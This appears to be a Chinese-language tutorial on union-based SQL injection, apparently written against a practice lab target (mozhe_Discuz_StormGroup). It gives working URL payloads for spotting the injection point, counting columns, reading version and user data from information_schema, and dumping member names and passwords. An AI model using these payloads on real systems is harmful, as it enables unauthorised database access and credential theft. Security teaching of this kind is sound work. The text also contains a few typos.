概述
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。
SQL注入
如何判断注入点？
- and 1=1 页面正常
- and 1=2 页面错误
可能存在注入点
union注入流程
- 判断注入
- 猜解列名数量（字段数量）【order by x】 逐个试，错误与正常的值
- 信息收集
-
数据库版本 -
数据库名字 -
数据库用户 -
操作系统
必要
在Mysql5.0以上版本中，mysql存在一个自带数据库名为informaton_schema，它是一个存储记录所有数据库名，表名，列名的数据库，也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
数据库中符号“.”代表下一级，如news.user，表示news数据库下的user表
informaton_schema.tables
informaton_schema.columus
查库： select schema_name from information_schema.schemata
查表： select table_name from information_schema.tables where table_schema=‘security’
查列： select column_name from information_schema.columns where table_name=‘users’
查字段： select username,password from security.users
方法
concat_ws(‘~’, A, B) 输出 A ~ B
1. 信息收集
/new_list.php?id=1%20order%20by%201,2,3,4
/new_list.php?id=-1%20union%20select%201,database(),version(),4
/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4
汇总得到如下：
-
数据库版本：5.7.22-0ubuntu0.16.04.1 -
数据库名字：mozhe_Discuz_StormGroup -
数据库用户：root@localhost -
操作系统：Linux
2. 获取表和列信息
查询指定数据库名mozhe_Discuz_StormGroup下的表名信息
/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
查询指定表名StormGroup_member下的列名信息
/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查询指定数据
/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
或者
/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
语法：limit x,1
x变动，猜解密码
4. SQL注入
